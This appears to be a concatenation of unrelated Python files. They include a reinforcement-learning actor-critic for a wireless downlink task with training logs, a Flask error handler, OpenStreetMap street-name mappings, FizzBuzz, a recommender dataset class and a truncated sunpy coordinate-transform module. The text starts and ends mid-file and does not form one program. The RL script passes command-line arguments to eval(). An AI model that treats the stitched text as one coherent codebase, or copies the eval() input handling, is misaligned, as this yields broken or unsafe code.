            nn.Conv2d(mid_dim * 2, mid_dim * 1, (1, 1), bias=True), nn.ReLU(inplace=True),
            NnReshape(-1),  # shape=(-1, i_w_dim * mid_dim)
            nn.Linear(i_w_dim * mid_dim, out_dim),
        )

    def forward(self, state):
        xh = self.cnn_h(state)
        xw = self.cnn_w(state)
        return xw + xh

class ActorBiConv(nn.Module):
    def __init__(self, mid_dim, state_dim, action_dim):
        super().__init__()

        self.net = nn.Sequential(
            BiConvNet(mid_dim, state_dim, mid_dim * 4),
            nn.Linear(mid_dim * 4, mid_dim * 1), nn.ReLU(),
            DenseNet(mid_dim * 1), nn.ReLU(),
            nn.Linear(mid_dim * 4, action_dim),
        )
        layer_norm(self.net[-1], std=0.1)  # output layer for action

    def forward(self, state):
        action = self.net(state)
        return action * torch.pow((action ** 2).sum(), -0.5)  # action / sqrt(L2_norm(action))

    def get_action(self, state, action_std):
        action = self.net(state)
        action = action + (torch.randn_like(action) * action_std)
        return action * torch.pow((action ** 2).sum(), -0.5)  # action / sqrt(L2_norm(action))

class CriticBiConv(nn.Module):
    def __init__(self, mid_dim, state_dim, action_dim):
        super().__init__()
        i_c_dim, i_h_dim, i_w_dim = state_dim  # inp_for_cnn.shape == (N, C, H, W)
        assert action_dim == int(np.prod((i_c_dim, i_w_dim, i_h_dim)))
        action_dim = (i_c_dim, i_w_dim, i_h_dim)  # (2, bs_n, ur_n)

        self.cnn_s = nn.Sequential(
            BiConvNet(mid_dim, state_dim, mid_dim * 4),
            nn.Linear(mid_dim * 4, mid_dim * 2), nn.ReLU(inplace=True),
            nn.Linear(mid_dim * 2, mid_dim * 1),
        )
        self.cnn_a = nn.Sequential(
            NnReshape(*action_dim),
            BiConvNet(mid_dim, action_dim, mid_dim * 4),
            nn.Linear(mid_dim * 4, mid_dim * 2), nn.ReLU(inplace=True),
            nn.Linear(mid_dim * 2, mid_dim * 1),
        )

        self.out_net = nn.Sequential(
            nn.Linear(mid_dim * 1, mid_dim * 1), nn.Hardswish(),
            nn.Linear(mid_dim * 1, 1),
        )
        layer_norm(self.out_net[-1], std=0.1)  # output layer for action

    def forward(self, state, action):
        xs = self.cnn_s(state)
        xa = self.cnn_a(action)
        return self.out_net(xs + xa)  # Q value

class ShareBiConv(nn.Module):
    def __init__(self, mid_dim, state_dim, action_dim):
        super().__init__()
        i_c_dim, i_h_dim, i_w_dim = state_dim  # inp_for_cnn.shape == (N, C, H, W)
        assert action_dim == int(np.prod((i_c_dim, i_w_dim, i_h_dim)))

        state_tuple = (i_c_dim, i_h_dim, i_w_dim)
        self.enc_s = nn.Sequential(
            # NnReshape(*state_tuple),
            BiConvNet(mid_dim, state_tuple, mid_dim * 4),
        )
        action_tuple = (i_c_dim, i_w_dim, i_h_dim)
        self.enc_a = nn.Sequential(
            NnReshape(*action_tuple),
            BiConvNet(mid_dim, action_tuple, mid_dim * 4),
        )

        self.mid_n = nn.Sequential(
            nn.Linear(mid_dim * 4, mid_dim * 2), nn.ReLU(),
            nn.Linear(mid_dim * 2, mid_dim * 1), nn.ReLU(),
            DenseNet(mid_dim),
        )

        self.dec_a = nn.Sequential(
            nn.Linear(mid_dim * 4, mid_dim * 2), nn.Hardswish(),
            nn.Linear(mid_dim * 2, action_dim),
        )
        layer_norm(self.dec_a[-1], std=0.1)  # output layer for action
        self.dec_q = nn.Sequential(
            nn.Linear(mid_dim * 4, mid_dim * 2), nn.Hardswish(),
            nn.Linear(mid_dim * 2, 1),
        )
        layer_norm(self.dec_q[-1], std=0.1)  # output layer for action

    def forward(self, state):  # actor
        xs = self.enc_s(state)
        xn = self.mid_n(xs)
        action = self.dec_a(xn)
        return action * torch.pow((action ** 2).sum(), -0.5)  # action / sqrt(L2_norm(action))

    def critic(self, state, action):
        xs = self.enc_s(state)
        xa = self.enc_a(action)
        xn = self.mid_n(xs + xa)
        return self.dec_q(xn)  # Q value

    def get_action(self, state, action_std):  # actor, get noisy action
        xs = self.enc_s(state)
        xn = self.mid_n(xs)
        action = self.dec_a(xn)
        action = action + (torch.randn_like(action) * action_std)
        return action * torch.pow((action ** 2).sum(), -0.5)  # action / sqrt(L2_norm(action))

class ActorSimplify:
    def __init__(self, gpu_id, actor_net):
        self.device = torch.device(f"cuda:{gpu_id}" if (torch.cuda.is_available() and gpu_id >= 0) else 'cpu')
        self.actor_net = actor_net.to(self.device)

    def get_action(self, state: np.ndarray) -> np.ndarray:
        states = torch.as_tensor(state[np.newaxis], dtype=torch.float32, device=self.device)
        action = self.actor_net(states)[0]
        return action.detach().cpu().numpy()

def check_network():
    from envs.DownLink import DownLinkEnv
    env = DownLinkEnv()

    gpu_id = 1
    mid_dim = 128
    state_dim = env.state_dim
    action_dim = env.action_dim

    if_check_actor = 0
    if if_check_actor:
        net = ActorBiConv(mid_dim, state_dim, action_dim)
        act = ActorSimplify(gpu_id, net)

        state = env.reset()

        action = env.get_action_mmse(state)
        reward = env.get_reward(action)
        print(f"| mmse            : {reward:8.3f}")

        action = env.get_action_mmse(state)
        action = env.get_action_norm_power(action)
        reward = env.get_reward(action)
        print(f"| mmse (max Power): {reward:8.3f}")

        action = np.ones(env.action_dim)
        reward = env.get_reward(action)
        print(f"| ones (max Power): {reward:8.3f}")

        action = env.get_action_norm_power(action=None)  # random.normal action
        reward = env.get_reward(action)
        print(f"| rand (max Power): {reward:8.3f}")

        action = act.get_action(state)
        action = env.get_action_norm_power(action)
        reward = env.get_reward(action)
        print(f"| net  (max Power): {reward:8.3f}")

        # state, reward, done, _ = env.step(action)
        # print(reward)

    if_check_critic = 1
    if if_check_critic:
        batch_size = 3
        device = torch.device(f"cuda:{gpu_id}" if (torch.cuda.is_available() and gpu_id >= 0) else 'cpu')
        critic_net = CriticBiConv(mid_dim, state_dim, action_dim).to(device)

        ten_state = torch.randn(size=(batch_size, *state_dim), dtype=torch.float32, device=device)
        ten_action = torch.randn(size=(batch_size, action_dim), dtype=torch.float32, device=device)

        q_value = critic_net(ten_state, ten_action)
        print(q_value)

'''agent'''

class AgentStep1AC(AgentBase):
    def __init__(self):
        AgentBase.__init__(self)
        self.ClassAct = ActorBiConv
        self.ClassCri = CriticBiConv
        self.if_use_cri_target = False
        self.if_use_act_target = False
        self.explore_noise = 2 ** -8
        self.obj_critic = (-np.log(0.5)) ** 0.5  # for reliable_lambda

    def init(self, net_dim=256, state_dim=8, action_dim=2, reward_scale=1.0, gamma=0.99,
             learning_rate=1e-4, if_per_or_gae=False, env_num=1, gpu_id=0):
        AgentBase.init(self, net_dim=net_dim, state_dim=state_dim, action_dim=action_dim,
                       reward_scale=reward_scale, gamma=gamma,
                       learning_rate=learning_rate, if_per_or_gae=if_per_or_gae,
                       env_num=env_num, gpu_id=gpu_id, )
        if if_per_or_gae:  # if_use_per
            self.criterion = torch.nn.MSELoss(reduction='none')
            self.get_obj_critic = self.get_obj_critic_per
        else:
            self.criterion = torch.nn.MSELoss(reduction='mean')
            self.get_obj_critic = self.get_obj_critic_raw
        self.get_obj_critic = self.get_obj_critic_raw

    def select_actions(self, state: torch.Tensor) -> torch.Tensor:
        action = self.act.get_action(state.to(self.device), self.explore_noise)
        return action.detach().cpu()

    def update_net(self, buffer, batch_size, repeat_times, soft_update_tau) -> (float, float):
        buffer.update_now_len()

        obj_actor = None
        update_a = 0
        for update_c in range(1, int(buffer.now_len / batch_size * repeat_times)):
            '''objective of critic (loss function of critic)'''
            obj_critic, state = self.get_obj_critic(buffer, batch_size)
            self.obj_critic = 0.99 * self.obj_critic + 0.01 * obj_critic.item()  # for reliable_lambda
            self.optim_update(self.cri_optim, obj_critic, self.cri.parameters())
            if self.if_use_cri_target:
                self.soft_update(self.cri_target, self.cri, soft_update_tau)

            '''objective of actor using reliable_lambda and TTUR (Two Time-scales Update Rule)'''
            reliable_lambda = np.exp(-self.obj_critic ** 2)  # for reliable_lambda
            if_update_a = update_a / update_c < 1 / (2 - reliable_lambda)
            if if_update_a:  # auto TTUR
                update_a += 1

            obj_actor = -self.cri(state, self.act(state)).mean()  # policy gradient
            self.optim_update(self.act_optim, obj_actor, self.act.parameters())
            if self.if_use_act_target:
                self.soft_update(self.act_target, self.act, soft_update_tau)

        return self.obj_critic, obj_actor.item()

    def get_obj_critic_raw(self, buffer, batch_size):
        with torch.no_grad():
            # reward, mask, action, state, next_s = buffer.sample_batch(batch_size)
            q_label, action, state = buffer.sample_batch_one_step(batch_size)

        q_value = self.cri(state, action)
        obj_critic = self.criterion(q_value, q_label)
        return obj_critic, state

    def get_obj_critic_per(self, buffer, batch_size):
        with torch.no_grad():
            # reward, mask, action, state, next_s, is_weights = buffer.sample_batch(batch_size)
            q_label, action, state, is_weights = buffer.sample_batch_one_step(batch_size)

        q_value = self.cri(state, action)
        td_error = self.criterion(q_value, q_label)  # or td_error = (q_value - q_label).abs()
        obj_critic = (td_error * is_weights).mean()

        buffer.td_error_update(td_error.detach())
        return obj_critic, q_value

class AgentShareStep1AC(AgentBase):
    def __init__(self):
        AgentBase.__init__(self)
        self.ClassAct = ShareBiConv
        self.ClassCri = self.ClassAct
        self.if_use_cri_target = True
        self.if_use_act_target = True
        self.obj_critic = (-np.log(0.5)) ** 0.5  # for reliable_lambda

    def init(self, net_dim=256, state_dim=8, action_dim=2, reward_scale=1.0, gamma=0.99,
             learning_rate=1e-4, if_per_or_gae=False, env_num=1, gpu_id=0):
        AgentBase.init(self, net_dim=net_dim, state_dim=state_dim, action_dim=action_dim,
                       reward_scale=reward_scale, gamma=gamma,
                       learning_rate=learning_rate, if_per_or_gae=if_per_or_gae,
                       env_num=env_num, gpu_id=gpu_id, )
        self.act = self.cri = self.ClassAct(net_dim, state_dim, action_dim).to(self.device)
        if self.if_use_act_target:
            self.act_target = self.cri_target = deepcopy(self.act)
        else:
            self.act_target = self.cri_target = self.act

        self.cri_optim = torch.optim.Adam(
            [{'params': self.act.enc_s.parameters(), 'lr': learning_rate * SHA_LR},
             {'params': self.act.enc_a.parameters(), },
             {'params': self.act.mid_n.parameters(), 'lr': learning_rate * SHA_LR},
             {'params': self.act.dec_a.parameters(), },
             {'params': self.act.dec_q.parameters(), },
             ], lr=learning_rate)
        self.act_optim = self.cri_optim

        if if_per_or_gae:  # if_use_per
            self.criterion = torch.nn.MSELoss(reduction='none')
            self.get_obj_critic = self.get_obj_critic_per
        else:
            self.criterion = torch.nn.MSELoss(reduction='mean')
            self.get_obj_critic = self.get_obj_critic_raw

    def select_actions(self, state: torch.Tensor) -> torch.Tensor:
        action = self.act.get_action(state.to(self.device), self.explore_noise)
        return action.detach().cpu()

    def update_net(self, buffer, batch_size, repeat_times, soft_update_tau) -> (float, float):
        buffer.update_now_len()

        obj_critic = None
        obj_actor = None
        update_a = 0
        for update_c in range(1, int(buffer.now_len / batch_size * repeat_times)):
            '''objective of critic'''
            obj_critic, state = self.get_obj_critic(buffer, batch_size)
            self.obj_critic = 0.995 * self.obj_critic + 0.005 * obj_critic.item()  # for reliable_lambda
            reliable_lambda = np.exp(-self.obj_critic ** 2)  # for reliable_lambda

            '''objective of actor using reliable_lambda and TTUR (Two Time-scales Update Rule)'''
            if_update_a = update_a / update_c < 1 / (2 - reliable_lambda)
            if if_update_a:  # auto TTUR
                update_a += 1

                action_pg = self.act(state)  # policy gradient
                obj_actor = -self.act_target.critic(state, action_pg).mean()

                obj_united = obj_critic + obj_actor * reliable_lambda
            else:
                obj_united = obj_critic

            self.optim_update(self.act_optim, obj_united, self.act.parameters())
            if self.if_use_act_target:
                self.soft_update(self.act_target, self.act, soft_update_tau)

        return obj_critic.item(), obj_actor.item()

    def get_obj_critic_raw(self, buffer, batch_size):
        with torch.no_grad():
            # reward, mask, action, state, next_s = buffer.sample_batch(batch_size)
            q_label, action, state = buffer.sample_batch_one_step(batch_size)

        q_value = self.act.critic(state, action)
        obj_critic = self.criterion(q_value, q_label)
        return obj_critic, state

    def get_obj_critic_per(self, buffer, batch_size):
        with torch.no_grad():
            # reward, mask, action, state, next_s, is_weights = buffer.sample_batch(batch_size)
            q_label, action, state, is_weights = buffer.sample_batch_one_step(batch_size)

        q_value = self.act.critic(state, action)
        td_error = self.criterion(q_value, q_label)  # or td_error = (q_value - q_label).abs()
        obj_critic = (td_error * is_weights).mean()

        buffer.td_error_update(td_error.detach())
        return obj_critic, q_value

'''run'''

def demo_down_link_task():
    env_name = ['DownLinkEnv-v0', 'DownLinkEnv-v1'][ENV_ID]
    agent_class = [AgentStep1AC, AgentShareStep1AC][DRL_ID]
    args = Arguments(env=build_env(env_name), agent=agent_class())
    args.random_seed += GPU_ID

    args.net_dim = 2 ** 8
    args.batch_size = int(args.net_dim * 2 ** -1)

    args.max_memo = 2 ** 17
    args.target_step = int(args.max_memo * 2 ** -4)
    args.repeat_times = 0.75
    args.reward_scale = 2 ** 2
    args.agent.exploration_noise = 2 ** -5

    args.eval_gpu_id = GPU_ID
    args.eval_gap = 2 ** 9
    args.eval_times1 = 2 ** 0
    args.eval_times2 = 2 ** 1

    args.learner_gpus = (GPU_ID,)

    if_use_single_process = 0
    if if_use_single_process:
        train_and_evaluate(args, )
    else:
        args.worker_num = 4
        train_and_evaluate_mp(args, )

"""
| Remove cwd: ./AgentOneStepPG_DownLinkEnv-v0_(1,)
################################################################################
ID     Step    maxR |    avgR   stdR   avgS  stdS |    expR   objC   etc.
0  6.55e+04  708.26 |  708.26    5.9   1023     0 |    0.69   0.02  -0.68
0  1.34e+06  857.54 |  857.54    2.9   1023     0 |    0.84   0.01  -0.55
0  2.20e+06  890.26 |  890.26   10.5   1023     0 |    0.88   0.01  -0.65
0  2.62e+06 1071.47 | 1071.47    6.4   1023     0 |    1.02   0.02  -0.64
0  5.18e+06 1162.44 | 1162.44    5.1   1023     0 |    1.12   0.02  -0.68
0  7.73e+06 1303.46 | 1303.46    2.4   1023     0 |    1.32   0.02  -0.64
0  1.00e+07 1619.88 | 1619.88    6.2   1023     0 |    1.55   0.02  -0.73
0  1.51e+07 1687.30 | 1687.30   22.1   1023     0 |    1.65   0.02  -0.81
0  2.01e+07 1822.41 | 1714.13    0.0   1023     0 |    1.67   0.02  -0.90
0  2.53e+07 1822.41 | 1623.96    0.0   1023     0 |    1.56   0.02  -0.88
0  3.21e+07 2098.69 | 2098.69    4.4   1023     0 |    2.03   0.02  -0.97

| Remove cwd: ./AgentOneStepPG_DownLinkEnv-v0_(3,)
################################################################################
ID     Step    maxR |    avgR   stdR   avgS  stdS |    expR   objC   etc.
0  6.55e+04  716.41 |  716.41    5.2   1023     0 |    0.69   0.02  -0.69
0  1.34e+06  809.24 |  809.24    1.6   1023     0 |    0.72   0.01  -0.62
0  5.18e+06 1002.50 | 1002.50    1.4   1023     0 |    0.97   0.01  -0.62
0  1.03e+07 1239.68 | 1140.18    0.0   1023     0 |    1.12   0.01  -0.37
0  1.50e+07 1489.36 | 1489.36    2.6   1023     0 |    1.41   0.02  -0.42
0  2.01e+07 1767.12 | 1561.77    0.0   1023     0 |    1.50   0.02  -0.70
0  3.03e+07 1767.12 | 1579.06    0.0   1023     0 |    1.54   0.02  -0.73
0  4.01e+07 1767.12 | 1559.15    0.0   1023     0 |    1.54   0.02  -0.82
0  4.35e+07 1820.31 | 1820.31   21.5   1023     0 |    1.70   0.02  -0.92
0  4.52e+07 2006.18 | 2006.18   13.6   1023     0 |    1.85   0.02  -0.95
| UsedTime:   28538 | SavedDir: ./AgentOneStepPG_DownLinkEnv-v0_(3,)

| Remove cwd: ./AgentOneStepPG_DownLinkEnv-v0_(4,)
################################################################################
0  6.55e+04  713.66 |  713.66    0.8   1023     0 |    0.69   0.02  -0.67
0  1.34e+06  843.31 |  843.31    3.1   1023     0 |    0.80   0.01  -0.59
0  5.18e+06  993.18 |  952.90    0.0   1023     0 |    0.92   0.01  -0.48
0  1.03e+07 1309.81 | 1221.37    0.0   1023     0 |    1.22   0.01  -0.56
0  2.01e+07 1441.55 | 1441.55   25.8   1023     0 |    1.38   0.02  -0.23
0  3.03e+07 1582.27 | 1480.24    0.0   1023     0 |    1.42   0.02  -0.50
0  4.01e+07 1722.72 | 1539.62    0.0   1023     0 |    1.51   0.02  -0.66
0  5.03e+07 1893.11 | 1893.11    4.3   1023     0 |    1.78   0.02  -0.88
0  5.59e+07 1968.71 | 1968.71   17.7   1023     0 |    1.92   0.02  -1.02
| UsedTime:   35421 | SavedDir: ./AgentOneStepPG_DownLinkEnv-v0_(4,)
"""

""" 2021-11-09
GPU 83 GPU 1   B_SIZE=net_dim*1.0 NOISE=-7  RP_TIM=1.0          1922, 22e6, 43e6
GPU 83 GPU 2   beta0 RP_TIM=0.75 T_STEP=-4  B_SIZE=net_dim*1    1927, 10e6, 21e6
GPU 111  GPU 0 beta0 RP_TIM=0.75 T_STEP=-4  B_SIZE=net_dim*0.5  1805, 7e6

GPU 111 GPU 1  beta0 RP_TIM=0.75 T_STEP=-4  B_SIZE=net_dim*1    1696,
GPU 111 GPU 2  B_SIZE=net_dim*0.5 NOISE=-5                      1938, 19e6, 28e6 ### NOISE=-5
GPU 111 GPU 3  B_SIZE=net_dim*0.5 NOISE=-7                      1842, 09e6, 14e6
GPU 83  GPU 3  B_SIZE=net_dim*0.5 NOISE=-7  RP_TIM=1.0          1871, 10e6, 21e6

GPU 83  GPU 4  B_SIZE=net_dim*0.5 NOISE=-5 beta1                1946, 10e6, 19e6 ### NOISE=-5 beta0
GPU 83  GPU 0  B_SIZE=net_dim*0.5 NOISE=-7 beta1                1819, 09e6, 15e6
"""

"""2021-11-10
GPU 83  GPU 2  MLP      RP_TIM=0.75 T_STEP=-4  B_SIZE=net_dim*1    1927, 10e6, 21e6
GPU 83  GPU 3  DenseNet Env-v1 Step1AC
GPU 83  GPU 4  DenseNet B_SIZE=net_dim*0.5 NOISE=-5                1946, 10e6, 19e6
GPU 83  GPU 0  DenseNet Env-v1 ShareStep1AC lr=1.1
GPU 83  GPU 1  DenseNet Env-v1 ShareStep1AC lr=1.25

GPU 111 GPU 1  DenseNet Env-v1 ShareStep1AC lr=0.75
GPU 111 GPU 2  DenseNet Env-v1 ShareStep1AC lr=1.50                2010, 06e6, 08e6
GPU 111 GPU 3  DenseNet Env-v1 ShareStep1AC lr=2.00
"""

GPU_ID = int(eval(sys.argv[1]))
DRL_ID = int(eval(sys.argv[2]))
ENV_ID = 1  # int(eval(sys.argv[2]))

SHA_LR = float(eval(sys.argv[3]))

if __name__ == '__main__':
    dir(sys)
    # check_network()
    demo_down_link_task()


import re
import sys
import traceback
from flask import jsonify
from util.exceptions import AppException
from util.logger import logger

class ErrorHandler:
    def __init__(self, error):
        if not isinstance(error, AppException):
            stack_trace = list()
            ex_type, ex_value, ex_traceback = sys.exc_info()
            trace_back = traceback.extract_tb(ex_traceback)

            for trace in trace_back:
                stack_trace.append(
                    'File : {}, Line : {}, Func.Name : {}, Message : {}'.format(trace[0], trace[1], trace[2], trace[3]))

            messages = str(error)
            logger.error(messages + " %s", stack_trace)

            if hasattr(error, 'messages'):
                messages = error.messages
            elif hasattr(error, 'message'):
                messages = error.message

            error = AppException(messages)

        response = jsonify(error.to_dict())
        response.status_code = error.status_code

        self.response = response

    @staticmethod
    def _snake_case(name):
        s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', str(name))
        return re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower()


NODE_FIELDS = ['id', 'lat', 'lon', 'user', 'uid', 'version', 'changeset', 'timestamp']
NODE_TAGS_FIELDS = ['id', 'key', 'value', 'type']
WAY_FIELDS = ['id', 'user', 'uid', 'version', 'changeset', 'timestamp']
WAY_TAGS_FIELDS = ['id', 'key', 'value', 'type']
WAY_NODES_FIELDS = ['id', 'node_id', 'position']

CORRECTOR_MAPPING = {'Ave': 'Avenue',
                     'Ave.': 'Avenue',
                     'Broadwat': 'Broadway',
                     'Broadway.': 'Broadway',
                     'Bvld': 'Boulevard',
                     'Bvld.': 'Boulevard',
                     'Bvl.': 'Boulevard',
                     'St.': 'Street',
                     'St': 'Street',
                     'N': 'North',
                     'N.': 'North',
                     'E': 'East',
                     'E.': 'East',
                     'S': 'South',
                     'S.': 'South',
                     'W': 'West',
                     'W.': 'West'}


def fizzBuzz():
  x = 16 # enter the value up to which you want to print values
  for n in range(1,x):
    if n % 3 == 0 and n % 5 == 0:
        print("FizzBuzz")
        continue
    elif n % 3 == 0:
        print("Fizz")
        continue
    elif n % 5 == 0:
        print("Buzz")
    elif n % 3 != 0 and n % 5 != 0:
       print(int(n))
       continue

fizzBuzz()


import torch.utils.data as data
import numpy as np

class RecDataset(data.Dataset):
    """
    Test dataset
    """
    def __init__(self, test_target_user_item):
        super(RecDataset, self).__init__()
        self.data = test_target_user_item

    def __len__(self):
        return len(self.data)

    def __getitem__(self, idx):
        user = self.data[idx][0]
        item_i = self.data[idx][1]
        return user, item_i

class RecDataset_beh(data.Dataset):
    """
    Build a dataset for each behavior. Length is equal to interact_num under tgt_beh.
    Neg_items and pos_items under non_tgt_beh need to be randomly sampled.
    """
    def __init__(self, behaviors_list, behaviors_data, target_user_item, item_num, target_behavior, mode):
        super(RecDataset_beh, self).__init__()

        self.behaviors_list = behaviors_list
        self.behaviors_num = len(behaviors_list)
        self.behaviors_data = behaviors_data
        self.target_user_item = target_user_item
        self.item_num = item_num
        self.target_behavior = target_behavior
        self.mode = mode

        self.interact_num = self.target_user_item.shape[0]  # 131685
        self.pos_item = [None] * self.interact_num
        self.neg_item = [None] * self.interact_num
        for i in range(self.interact_num):
            self.pos_item[i] = [None] * self.behaviors_num
            self.neg_item[i] = [None] * self.behaviors_num

        self.interact_his = [None] * self.behaviors_num
        for i in range(self.behaviors_num):
            self.interact_his[i] = self.behaviors_data[i].todok()

    def neg_sample(self):

        for index in range(self.behaviors_num):

            user, item = self.behaviors_data[index].nonzero()

            pos_item_set = np.array(list(set(item)))

            # Random initialize
            self.init_pos_item_index = np.random.choice(pos_item_set, size=self.interact_num, replace=True)
            self.init_neg_item_index = np.random.randint(low=0, high=self.item_num, size=self.interact_num)

            for i in range(self.interact_num):

                uid = self.target_user_item[i][0]
                pos_iid = self.pos_item[i][index] = self.init_pos_item_index[i]
                neg_iid = self.neg_item[i][index] = self.init_neg_item_index[i]

                # Sample negative items under every behavior
                while(uid, neg_iid) in self.interact_his[index]:
                    neg_iid = np.random.randint(low=0, high=self.item_num)
                    self.neg_item[i][index] = neg_iid

                if self.behaviors_list[index] == self.target_behavior:  # No need to random sample under tgt_beh
                    self.pos_item[i][index] = item[i]
                else:
                    if (uid, pos_iid) not in self.interact_his[index]:
                        if len(self.behaviors_data[index][uid].data) == 0:  # No interact history under this behavior
                            self.pos_item[i][index] = -1
                        else:
                            user_interact_his = self.behaviors_data[index][uid].toarray()
                            interacted_items_index = np.where(user_interact_his != 0)[1]
                            self.pos_item[i][index] = np.random.choice(interacted_items_index, size=1)[0]

    def __len__(self):
        return len(self.target_user_item)

    def __getitem__(self, idx):
        user = self.target_user_item[idx][0]
        pos_item = self.pos_item[idx]

        if self.mode == 'train':
            neg_item = self.neg_item[idx]
            return user, pos_item, neg_item
        else:
            return user, pos_item


# -*- coding: utf-8 -*-
"""
Coordinate Transformation Functions

This module contains the functions for converting one
`sunpy.coordinates.frames` object to another.

.. warning::

  The functions in this submodule should never be called directly, transforming
  between coordinate frames should be done using the ``.transform_to`` methods
  on `~astropy.coordinates.BaseCoordinateFrame` or
  `~astropy.coordinates.SkyCoord` instances.

"""
from copy import deepcopy

import numpy as np

import astropy.units as u
from astropy.coordinates import ICRS, HCRS, ConvertError, BaseCoordinateFrame, get_body_barycentric
from astropy.coordinates.baseframe import frame_transform_graph
from astropy.coordinates.representation import (CartesianRepresentation, SphericalRepresentation,
                                                UnitSphericalRepresentation)
from astropy.coordinates.transformations import (FunctionTransform, DynamicMatrixTransform,
                                                 AffineTransform)
from astropy.coordinates.matrix_utilities import matrix_product, rotation_matrix, matrix_transpose

from sunpy.sun import constants

from .frames import Heliocentric, Helioprojective, HeliographicCarrington, HeliographicStonyhurst

try:
    from astropy.coordinates.builtin_frames import _make_transform_graph_docs as make_transform_graph_docs
except ImportError:
    from astropy.coordinates import make_transform_graph_docs as _make_transform_graph_docs
    make_transform_graph_docs = lambda: _make_transform_graph_docs(frame_transform_graph)

RSUN_METERS = constants.get('radius').si.to(u.m)

__all__ = ['hgs_to_hgc', 'hgc_to_hgs', 'hcc_to_hpc',
           'hpc_to_hcc', 'hcc_to_hgs', 'hgs_to_hcc',
           'hpc_to_hpc',
           'hcrs_to_hgs', 'hgs_to_hcrs',
           'hgs_to_hgs', 'hgc_to_hgc', 'hcc_to_hcc']

def _carrington_offset(obstime):
    """
    Calculate the HG Longitude offest based on a time
    """
    if obstime is None:
        raise ValueError("To perform this transformation the coordinate"
                         " Frame needs a obstime Attribute")

    # Import here to avoid a circular import
    from .sun import L0
    return L0(obstime)

def _observers_are_equal(obs_1, obs_2, string_ok=False):
    if string_ok:
        if obs_1 == obs_2:
            return True
    if not (isinstance(obs_1, BaseCoordinateFrame) and isinstance(obs_2, BaseCoordinateFrame)):
        raise ValueError("To compare two observers, both must be instances of BaseCoordinateFrame. "
                         "Cannot compare two observers {} and {}.".format(obs_1, obs_2))
    return (u.allclose(obs_1.lat, obs_2.lat) and
            u.allclose(obs_1.lon, obs_2.lon) and
            u.allclose(obs_1.radius, obs_2.radius))

# =============================================================================
# ------------------------- Transformation Framework --------------------------
# =============================================================================

@frame_transform_graph.transform(FunctionTransform, HeliographicStonyhurst,
                                 HeliographicCarrington)
def hgs_to_hgc(hgscoord, hgcframe):
    """
    Transform from Heliographic Stonyhurst to Heliograpic Carrington.
    """
    if hgcframe.obstime is None or np.any(hgcframe.obstime != hgscoord.obstime):
        raise ValueError("Can not transform from Heliographic Stonyhurst to "
                         "Heliographic Carrington, unless both frames have matching obstime.")

    c_lon = hgscoord.spherical.lon + _carrington_offset(hgscoord.obstime).to(u.deg)
    representation = SphericalRepresentation(c_lon, hgscoord.spherical.lat,
                                             hgscoord.spherical.distance)
    hgcframe = hgcframe.__class__(obstime=hgscoord.obstime)

    return hgcframe.realize_frame(representation)

@frame_transform_graph.transform(FunctionTransform, HeliographicCarrington,
                                 HeliographicStonyhurst)
def hgc_to_hgs(hgccoord, hgsframe):
    """
    Convert from Heliograpic Carrington to Heliographic Stonyhurst.
    """
    if hgsframe.obstime is None or np.any(hgsframe.obstime != hgccoord.obstime):
        raise ValueError("Can not transform from Heliographic Carrington to "
                         "Heliographic Stonyhurst, unless both frames have matching obstime.")
    obstime = hgsframe.obstime
    s_lon = hgccoord.spherical.lon - _carrington_offset(obstime).to(
        u.deg)
    representation = SphericalRepresentation(s_lon, hgccoord.spherical.lat,
                                             hgccoord.spherical.distance)

    return hgsframe.realize_frame(representation)

@frame_transform_graph.transform(FunctionTransform, Heliocentric,
                                 Helioprojective)
def hcc_to_hpc(helioccoord, heliopframe):
    """
    Convert from Heliocentic Cartesian to Helioprojective Cartesian.
    """
    if not _observers_are_equal(helioccoord.observer, heliopframe.observer):
        heliocframe = Heliocentric(observer=heliopframe.observer)
        new_helioccoord = helioccoord.transform_to(heliocframe)
        helioccoord = new_helioccoord

    x = helioccoord.x.to(u.m)
    y = helioccoord.y.to(u.m)
    z = helioccoord.z.to(u.m)

    # d is calculated as the distance between the points
    # (x,y,z) and (0,0,D0).
    distance = np.sqrt(x**2 + y**2 + (helioccoord.observer.radius - z)**2)

    hpcx = np.rad2deg(np.arctan2(x, helioccoord.observer.radius - z))
    hpcy = np.rad2deg(np.arcsin(y / distance))

    representation = SphericalRepresentation(hpcx, hpcy,
                                             distance.to(u.km))

    return heliopframe.realize_frame(representation)

@frame_transform_graph.transform(FunctionTransform, Helioprojective,
                                 Heliocentric)
def hpc_to_hcc(heliopcoord, heliocframe):
    """
    Convert from Helioprojective Cartesian to Heliocentric Cartesian.
    """
    if not _observers_are_equal(heliopcoord.observer, heliocframe.observer):
        heliocframe_heliopobs = Heliocentric(observer=heliopcoord.observer)
        helioccoord_heliopobs = heliopcoord.transform_to(heliocframe_heliopobs)
        helioccoord = helioccoord_heliopobs.transform_to(heliocframe)
        return helioccoord

    if not isinstance(heliopcoord.observer, BaseCoordinateFrame):
        raise ConvertError("Cannot transform helioprojective coordinates to "
                           "heliocentric coordinates for observer '{}' "
                           "without `obstime` being specified.".format(heliopcoord.observer))

    heliopcoord = heliopcoord.calculate_distance()
    x = np.deg2rad(heliopcoord.Tx)
    y = np.deg2rad(heliopcoord.Ty)

    cosx = np.cos(x)
    sinx = np.sin(x)
    cosy = np.cos(y)
    siny = np.sin(y)

    rx = (heliopcoord.distance.to(u.m)) * cosy * sinx
    ry = (heliopcoord.distance.to(u.m)) * siny
    rz = (heliopcoord.observer.radius.to(u.m)) - (
        heliopcoord.distance.to(u.m)) * cosy * cosx

    representation = CartesianRepresentation(
        rx.to(u.km), ry.to(u.km), rz.to(u.km))
    return heliocframe.realize_frame(representation)

@frame_transform_graph.transform(FunctionTransform, Heliocentric,
                                 HeliographicStonyhurst)
def hcc_to_hgs(helioccoord, heliogframe):
    """
    Convert from Heliocentric Cartesian to Heliographic Stonyhurst.
    """
    if not isinstance(helioccoord.observer, BaseCoordinateFrame):
        raise ConvertError("Cannot transform heliocentric coordinates to "
                           "heliographic coordinates for observer '{}' "
                           "without `obstime` being specified.".format(helioccoord.observer))

    x = helioccoord.x.to(u.m)
    y = helioccoord.y.to(u.m)
    z = helioccoord.z.to(u.m)

    l0_rad = helioccoord.observer.lon
    b0_deg = helioccoord.observer.lat

    cosb = np.cos(np.deg2rad(b0_deg))
    sinb = np.sin(np.deg2rad(b0_deg))

    hecr = np.sqrt(x**2 + y**2 + z**2)
    hgln = np.arctan2(x, z * cosb - y * sinb) + l0_rad
